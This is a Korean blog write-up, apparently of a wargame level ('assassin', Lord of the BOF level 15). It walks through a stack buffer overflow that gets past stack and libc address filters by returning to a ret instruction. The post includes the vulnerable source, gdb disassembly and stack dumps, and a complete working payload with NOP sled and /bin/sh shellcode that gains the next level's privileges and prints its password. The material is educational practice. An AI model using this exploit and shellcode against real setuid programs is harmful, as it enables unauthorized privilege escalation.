BOF 원정대 – Level 15 (assassin)

우선 문제소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
 char buffer[40];

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 if(argv[1][47] == '\xbf')
 {
 printf(stack retbayed you!\n);
 exit(0);
 }

 if(argv[1][47] == '\x40')
 {
 printf(library retbayed you, too!!\n);
 exit(0);
 }

 strcpy(buffer, argv[1]);
 printf(%s\n, buffer);

 // buffer+sfp hunter
 memset(buffer, 0, 44);
}

이번 문제를 보면 \xbf를 사용할 수 없다. 따라서 스택의 주소를 사용할 수 없다는 뜻이다. 그럼 RTL은 어떨까?
\x40을 사용할 수 없다. gdb를 통해 system()이나 execl() 함수등을 살펴보자.

[giant@localhost giant]$ gdb assassin_tmp
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r
Starting program: /home/giant/assassin_tmp

Breakpoint 1, 0x8048476 in main ()
(gdb) x/x system
0x40058ae0 <__libc_system>: 0x81e58955
(gdb) x/x execl
0x400a9ec0 <execl>: 0x83e58955
(gdb)

system(), execl() 함수 모두 \x40으로 시작하므로 역시 RTL 기법으로도 사용할 수 없다. 따라서 다른 방법으로 공격을 시도하여야 한다. 이번에 공격할 방법은 ret 명령어에 해당하는 주소를 RET 값으로 넣어 esp를 끌어올려 흐름을 원하는 곳으로 변경시키는 방법이다. 우선 스택을 한번 확인해 보도록 하자.

[giant@localhost giant]$ gdb assassin_tmp
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %esp,%ebp
0x8048473 <main+3>: sub $0x28,%esp
0x8048476 <main+6>: cmpl $0x1,0x8(%ebp)
0x804847a <main+10>: jg 0x8048493 <main+35>
0x804847c <main+12>: push $0x8048570
0x8048481 <main+17>: call 0x8048378 <printf>
0x8048486 <main+22>: add $0x4,%esp
0x8048489 <main+25>: push $0x0
0x804848b <main+27>: call 0x8048388 <exit>
0x8048490 <main+32>: add $0x4,%esp
0x8048493 <main+35>: mov 0xc(%ebp),%eax
0x8048496 <main+38>: add $0x4,%eax
0x8048499 <main+41>: mov (%eax),%edx
0x804849b <main+43>: add $0x2f,%edx
0x804849e <main+46>: cmpb $0xbf,(%edx)
0x80484a1 <main+49>: jne 0x80484c0 <main+80>
0x80484a3 <main+51>: push $0x804857c
0x80484a8 <main+56>: call 0x8048378 <printf>
0x80484ad <main+61>: add $0x4,%esp
0x80484b0 <main+64>: push $0x0
0x80484b2 <main+66>: call 0x8048388 <exit>
0x80484b7 <main+71>: add $0x4,%esp
0x80484ba <main+74>: lea 0x0(%esi),%esi
0x80484c0 <main+80>: mov 0xc(%ebp),%eax
0x80484c3 <main+83>: add $0x4,%eax
0x80484c6 <main+86>: mov (%eax),%edx
0x80484c8 <main+88>: add $0x2f,%edx
0x80484cb <main+91>: cmpb $0x40,(%edx)
0x80484ce <main+94>: jne 0x80484e7 <main+119>
0x80484d0 <main+96>: push $0x8048591
0x80484d5 <main+101>: call 0x8048378 <printf>
0x80484da <main+106>: add $0x4,%esp
0x80484dd <main+109>: push $0x0
---Type <return> to continue, or q <return> to quit---
0x80484df <main+111>: call 0x8048388 <exit>
0x80484e4 <main+116>: add $0x4,%esp
0x80484e7 <main+119>: mov 0xc(%ebp),%eax
0x80484ea <main+122>: add $0x4,%eax
0x80484ed <main+125>: mov (%eax),%edx
0x80484ef <main+127>: push %edx
0x80484f0 <main+128>: lea 0xffffffd8(%ebp),%eax
0x80484f3 <main+131>: push %eax
0x80484f4 <main+132>: call 0x80483a8 <strcpy>
0x80484f9 <main+137>: add $0x8,%esp
0x80484fc <main+140>: lea 0xffffffd8(%ebp),%eax
0x80484ff <main+143>: push %eax
0x8048500 <main+144>: push $0x80485ae
0x8048505 <main+149>: call 0x8048378 <printf>
0x804850a <main+154>: add $0x8,%esp
0x804850d <main+157>: push $0x2c
0x804850f <main+159>: push $0x0
0x8048511 <main+161>: lea 0xffffffd8(%ebp),%eax
0x8048514 <main+164>: push %eax
0x8048515 <main+165>: call 0x8048398 <memset>
0x804851a <main+170>: add $0xc,%esp
0x804851d <main+173>: leave
0x804851e <main+174>: ret
0x804851f <main+175>: nop
End of assembler dump.
(gdb) b *main+174
Breakpoint 1 at 0x804851e
(gdb) r `python -c print 'A'*44 + '\x1e\x85\x04\x08' + 'BBBB'`
Starting program: /home/giant/assassin_tmp `python -c print 'A'*44 + '\x1e\x85\x04\x08' + 'BBBB'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x804851e in main ()
(gdb) x/32wx $esp
0xbffffaec: 0x0804851e 0x42424242 0xbffffb00 0xbffffb40
0xbffffafc: 0x40013868 0x00000002 0x080483c0 0x00000000
0xbffffb0c: 0x080483e1 0x08048470 0x00000002 0xbffffb34
0xbffffb1c: 0x08048308 0x0804854c 0x4000ae60 0xbffffb2c
0xbffffb2c: 0x40013e90 0x00000002 0xbffffc2b 0xbffffc44
0xbffffb3c: 0x00000000 0xbffffc79 0xbffffc89 0xbffffca2
0xbffffb4c: 0xbffffcc1 0xbffffce3 0xbffffcee 0xbffffeb1
0xbffffb5c: 0xbffffed0 0xbffffeeb 0xbfffff00 0xbfffff1d
(gdb) c
Continuing.

Breakpoint 1, 0x804851e in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

리턴될 주소에 ret 명령어가 있는 주소를 넣은 결과 바로 뒤 주소를 참조하는 것을 확인할 수 있었다. 따라서 아래와 같은 PAYLOAD를 이용하여 공격을 할 수 있다.

argv[1] : [A, 44 Byte] [ret 명령어주소, 0x804851e] [NOP가 위치한 주소]
argv[2] : [NOP, 100 Byte] [Shellcode]

그럼 이제 디버깅을 통해 NOP의 주소를 확인하여 공격을 해보도록 하자.

(gdb) r `python -c print 'A'*44 + '\x1e\x85\x04\x08' + 'BBBB' + ' ' + '\x90'*100`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/giant/assassin_tmp `python -c print 'A'*44 + '\x1e\x85\x04\x08' + 'BBBB' + ' ' + '\x90'*100`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x804851e in main ()
(gdb) x/32wx $esp
0xbffffa8c: 0x0804851e 0x42424242 0xbffffa00 0xbffffae4
0xbffffa9c: 0x40013868 0x00000003 0x080483c0 0x00000000
0xbffffaac: 0x080483e1 0x08048470 0x00000003 0xbffffad4
0xbffffabc: 0x08048308 0x0804854c 0x4000ae60 0xbffffacc
0xbffffacc: 0x40013e90 0x00000003 0xbffffbc6 0xbffffbdf
0xbffffadc: 0xbffffc14 0x00000000 0xbffffc79 0xbffffc89
0xbffffaec: 0xbffffca2 0xbffffcc1 0xbffffce3 0xbffffcee
0xbffffafc: 0xbffffeb1 0xbffffed0 0xbffffeeb 0xbfffff00
(gdb)
0xbffffb0c: 0xbfffff1d 0xbfffff28 0xbfffff36 0xbfffff3e
0xbffffb1c: 0xbfffff4f 0xbfffff59 0xbfffff67 0xbfffff78
0xbffffb2c: 0xbfffff86 0xbfffff91 0xbfffffa2 0x00000000
0xbffffb3c: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffb4c: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffb5c: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffb6c: 0x00000009 0x080483c0 0x0000000b 0x00000202
0xbffffb7c: 0x0000000c 0x00000202 0x0000000d 0x00000202
(gdb)
0xbffffb8c: 0x0000000e 0x00000202 0x00000010 0x0febfbff
0xbffffb9c: 0x0000000f 0xbffffbc1 0x00000000 0x00000000
0xbffffbac: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbbc: 0x00000000 0x38366900 0x682f0036 0x2f656d6f
0xbffffbcc: 0x6e616967 0x73612f74 0x73736173 0x745f6e69
0xbffffbdc: 0x4100706d 0x41414141 0x41414141 0x41414141
0xbffffbec: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbfc: 0x41414141 0x41414141 0x41414141 0x1e414141
(gdb)
0xbffffc0c: 0x42080485 0x00424242 0x90909090 0x90909090
0xbffffc1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc6c: 0x90909090 0x90909090 0x90909090 0x44575000
0xbffffc7c: 0x6f682f3d 0x672f656d 0x746e6169 0x4d455200
(gdb)

NOP가 위치한 주소 중 0xbffffc4c 주소를 이용하여 공격을 해보도록 하겠다.

[giant@localhost giant]$ ./assassin `python -c print 'A'*44 + '\x1e\x85\x04\x08' + '\x4c\xfc\xff\xbf' + ' ' + '\x90'*100 + '\xeb\x1b\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x89\x74\x24\x01\x89\x44\x24\x05\xb0\x0b\x89\xf3\x8d\x4c\x24\x01\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL▒▒▒
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away
bash$

답글 남기기

이메일 주소를 발행하지 않을 것입니다. 필수 항목은 *(으)로 표시합니다